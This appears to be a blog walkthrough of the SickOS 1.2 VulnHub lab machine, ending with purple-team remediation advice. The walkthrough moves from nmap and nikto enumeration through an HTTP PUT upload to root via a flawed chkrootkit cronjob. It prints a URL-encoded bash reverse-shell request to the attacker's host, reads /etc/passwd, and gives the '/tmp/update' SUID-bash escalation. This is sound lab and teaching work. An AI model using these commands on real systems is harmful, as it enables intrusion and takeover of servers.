August 9, 2026
From Exposed PUT Requests to chkrootkit Root: A Complete Walkthrough of SickOS 1.2
Welcome back! In today’s walkthrough, we are tackling a particularly fun VulnHub machine. As someone who approaches cybersecurity from a…
By Muhammad Zain
9 min read
Welcome back! In today's walkthrough, we are tackling a particularly fun VulnHub machine. As someone who approaches cybersecurity from a purple team perspective, I love machines like this. They remind us that misconfigurations on the blue side — like overly permissive HTTP methods and flawed cronjobs — are exactly what the red side needs to tear a network wide open.
Here is a full breakdown of the attack chain, the thought process behind each pivot, and the defensive takeaways we can learn from this box.
Difficulty: Easy
Platform: VulnHub
Focus:
- Enumeration
- Web Exploitation
- HTTP
PUTMethod Abuse - File Upload RCE
- Reverse Shell
- Linux Privilege Escalation
chkrootkitExploitation- Cronjob Abuse
Grab your terminal, fire up your Kali VM, and let's dive into the methodology.
Phase 1: Reconnaissance & Enumeration
Every good penetration test starts with a solid map of the attack surface. I kicked things off with a complete Nmap scan against the target IP (192.168.117.131).
nmap -T4 -p- -A 192.168.117.131nmap -T4 -p- -A 192.168.117.131
Some of the interesting ports identified were as follows:
Port 22 — SSH (Open) Version: 5.9p1 Debian 5ubuntu 1.8 Port 80 — TCP (Open) Version: lighttpd 1.4.28 OS Version: Not confirmed — Linux
We have a web server and SSH. Standard procedure dictates we enumerate each port individually to see if we can find a foothold.
Investigating Port 80 (HTTP)
I started by navigating to the target's web service on port 80
I fired up Wappalyzer to get a quick structural read on the technology stack, but unfortunately, it was a bust. No immediate low-hanging fruit there.
When passive enumeration fails, we get loud. I ran a nikto scan on the base directory to see if there was anything left out in the open.
nikto -h http://192.168.117.131/nikto -h http://192.168.117.131/
The results gave me a few directories to manually visit and inspect for frontend interfaces or interesting data.
/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000-> This revealed an exposed PHP info page, a classic system misconfiguration in the backendphp.inifile.
/test/-> This turned out to be a parent directory index.
Since /test/ was exposed, I threw another nikto scan directly at that subdirectory:
nikto -h http://192.168.117.131/test/nikto -h http://192.168.117.131/test/
Amidst a lot of garbage, one massive vulnerability caught my eye: PUT request is allowed (/nikto-test-11zHmiky.html).
For those newer to web exploitation, the standard procedure here is to take interesting directories and send an HTTP OPTIONS request (via Burp Suite or cURL) to check allowed methods. We are hunting for PUT, which allows us to upload files directly to the web server. If successful, we can drop a malicious PHP payload and catch a reverse shell. Since Nikto identified that PUT was allowed on /test/, this gave us a strong lead, which I then manually verified using Burp Suite before attempting exploitation.
But before we exploit, let's do our due diligence on the other port.
Investigating Port 22 (SSH)
I always try a blind SSH connection just in case we get lucky with default credentials.
ssh target@192.168.117.131ssh target@192.168.117.131
I entered a few random credentials, but no luck. Time to dig deeper with Nmap's scripting engine (NSE).
nmap --script ssh-auth-methods -p 22 192.168.117.131nmap --script ssh-auth-methods -p 22 192.168.117.131
The results confirmed the only ways to log in are via public key or password. I also checked the encryption algorithms, which might be useful later if we decide to brute-force.
nmap --script ssh2-enum-algos -p 22 192.168.117.131nmap --script ssh2-enum-algos -p 22 192.168.117.131
Next, I fired up Metasploit and used the ssh_enumusers auxiliary module to check against a normal login list.
The enumeration did not reveal any useful non-default accounts. I also searched for inherent vulnerabilities associated with this specific version of OpenSSH. Everything I found was client-side — a total dead end.
Phase 2: Exploitation & Gaining Initial Access
Since SSH was a brick wall, I pivoted back to our golden ticket: the HTTP PUT request.
I opened Burp Suite, caught the GET request for the /test/ directory, and reviewed the available options.
With directory listing enabled and PUT confirmed, the /test/ directory provided a viable path toward remote code execution. I crafted a small PUT request payload just to test the waters and see the server's response.
The server accepted the request, confirming that we could upload a file to the target directory. Now, we craft our PHP reverse shell payload and open a listener on our Kali machine.
First, I grabbed my local tun0 IP.
ip aip a
Then, I created the payload and fired it off.
The Egress Firewall Struggle
I checked my listener… nothing.
It wasn't working. My first instinct was to check my own Unix firewall — always check if your firewall is dropping incoming connections before tearing your hair out!
sudo ufw statussudo ufw status
I retried. Still no luck.
After banging my head against the wall, I tried simply pinging the target from my kali machine. To my surprise, every single ICMP request was dropped.
ping <IP_ADDRESS>ping <IP_ADDRESS>
Conclusion: This did not conclusively explain the failed reverse shell, so I continued troubleshooting the connection path and tested an alternative listener port.
I opened 443 (HTTPS) on my Kali firewall to ensure the listener could accept the incoming connection, then started a listener on port 443
sudo ufw allow 443/tcp
nc -lvnp 443sudo ufw allow 443/tcp
nc -lvnp 443
I fired the payload again. It failed again. At this point, I suspected either heavy filtering or a connection failure due to version differences with OpenBSD netcat on the target.
I decided to use the initial shell.php we injected to enumerate the environment for available scripting languages.
Bingo. The machine has nc, bash, python, and perl available.
As I was typing out a Python payload, I looked over at my terminal and realized — WAIT— the last Bash payload actually did work; it just took a bit longer to execute and I completely missed it.
Here was the payload that did the trick:
GET /test/shell.php?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.117.129%2f443+0%3e%261%27 HTTP/1.1
Host: 192.168.117.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: closeGET /test/shell.php?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.117.129%2f443+0%3e%261%27 HTTP/1.1
Host: 192.168.117.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Just to be thorough, I went ahead and executed the Python payload anyway as a proof of concept.
Python works perfectly too. We have our initial access!
Phase 3: Local Enumeration
Once you land on a box, you need the lay of the land. The key areas to check are OS version, running processes, user privileges, writable directories, and potential pivoting grounds.
uname -auname -a
OS Version: We are on an expired Ubuntu OS, so known kernel vulnerabilities may be worth investigating. However, kernel exploits can be unstable, so I kept this as a last resort.
ps auxps aux
Running Processes: I skimmed through the running processes. Nothing stood out immediately as highly exploitable from a user context.
id
cat /etc/passwdid
cat /etc/passwd
User Information: The id command confirmed my current privileges, while /etc/passwd provided a list of local users that could potentially be useful for lateral movement or credential-based attacks.
find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null
SUID Binaries: I checked for SUID binaries — programs that run with the file owner's permissions (usually root) regardless of who executes them.
cat /etc/crontabcat /etc/crontab
Cronjobs: Cronjobs are one of the most reliable ways to escalate privileges if you find a script running as root that you can write to.
My enumeration yielded the following actionable intelligence:
- We can pivot to root or
johnif we find a working exploit. - Cronjobs are set to run hourly, weekly, and daily.
Digging deeper into the daily cronjobs:
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Three high-value targets appeared:
lighttpd-> Web-based, worth checking.passwd-> Worth checking for credential leaks.chkrootkit-> A known flawed scanner. This is our primary target.
Phase 4: Privilege Escalation
I decided to go for the obvious vulnerability: chkrootkit. First, I checked the installed version to confirm it was vulnerable.
chkrootkit -Vchkrootkit -V
Next, I searched for known exploits affecting this version online. The vulnerability I found is beautifully simple to reproduce.
->Click to view the full Exploit writeup<-
The Exploit Path: This version of chkrootkit runs a routine that blindly executes any file named update located in the /tmp/ directory as root. All we have to do is drop a malicious script named update into /tmp/ and wait for the cronjob to trigger.
On this particular machine, the chkrootkit job was configured to execute every 60 seconds. This significantly shortened the exploitation window, as the malicious update script placed in /tmp/ would be executed by the next scheduled run with root privileges.
I wrote a quick script that changes the permissions of /bin/bash to include the SUID bit. When the cronjob runs, it will execute my script as root, making /bin/bash an SUID binary. Once that happens, I can execute bash as the file owner (root).
echo 'chmod +s /bin/bash' > /tmp/update
chmod +x /tmp/updateecho 'chmod +s /bin/bash' > /tmp/update
chmod +x /tmp/update
I waited 60 seconds. The moment of truth…
/bin/bash -p
whoami/bin/bash -p
whoami
BINGO. Root secured.
All that was left was to grab the flag to prove the machine was fully compromised.
cat FLAG_ID.txtcat FLAG_ID.txt
The Purple Team Takeaway
As much fun as it is to pop a root shell, the real value of an engagement is figuring out how to stop the attack. If I were on the blue team defending this environment, here is exactly what I would remediate:
1. Lockdown Web Server Configurations The initial foothold was entirely preventable.
- Disable Insecure HTTP Methods: The
PUTmethod should never be allowed on a public-facing directory without strict authentication. - Disable Directory Listing: Ensure
Options -Indexes(or the Lighttpd equivalent) is set so attackers cannot browse directory structures like/test/. - Remove Diagnostic Pages: Exposed
phpinfo()pages hand attackers a complete blueprint of the backend environment. These should be strictly restricted or removed in production.
2. Implement Appropriate Network Egress Controls: Network egress filtering can help prevent compromised systems from establishing unauthorized outbound connections. Controls should restrict unnecessary outbound traffic and, where possible, inspect application-layer traffic rather than relying solely on destination ports.
- Secure Cronjobs and the
/tmpDirectory The privilege escalation relied on a vulnerable script running automatically as root.
- Patching: Security tools like
chkrootkitmust be kept up to date. Running outdated security software is a massive liability. - Mount
/tmpasnoexec: Attackers frequently use/tmpto drop and execute payloads because it is universally writable. Mounting/tmpwithnoexeccan prevent direct execution of payloads placed there and would mitigate this particular exploitation path, although it should not be treated as a standalone security control.
Understanding how individual weaknesses can come together is key to building more resilient systems. This machine is a great reminder that attackers rarely need a single critical vulnerability — instead, they can chain seemingly minor misconfigurations, from insecure web server settings to outdated software, until they gain complete control of the system.
Keep hacking, keep learning, and I'll see you in the next walkthrough!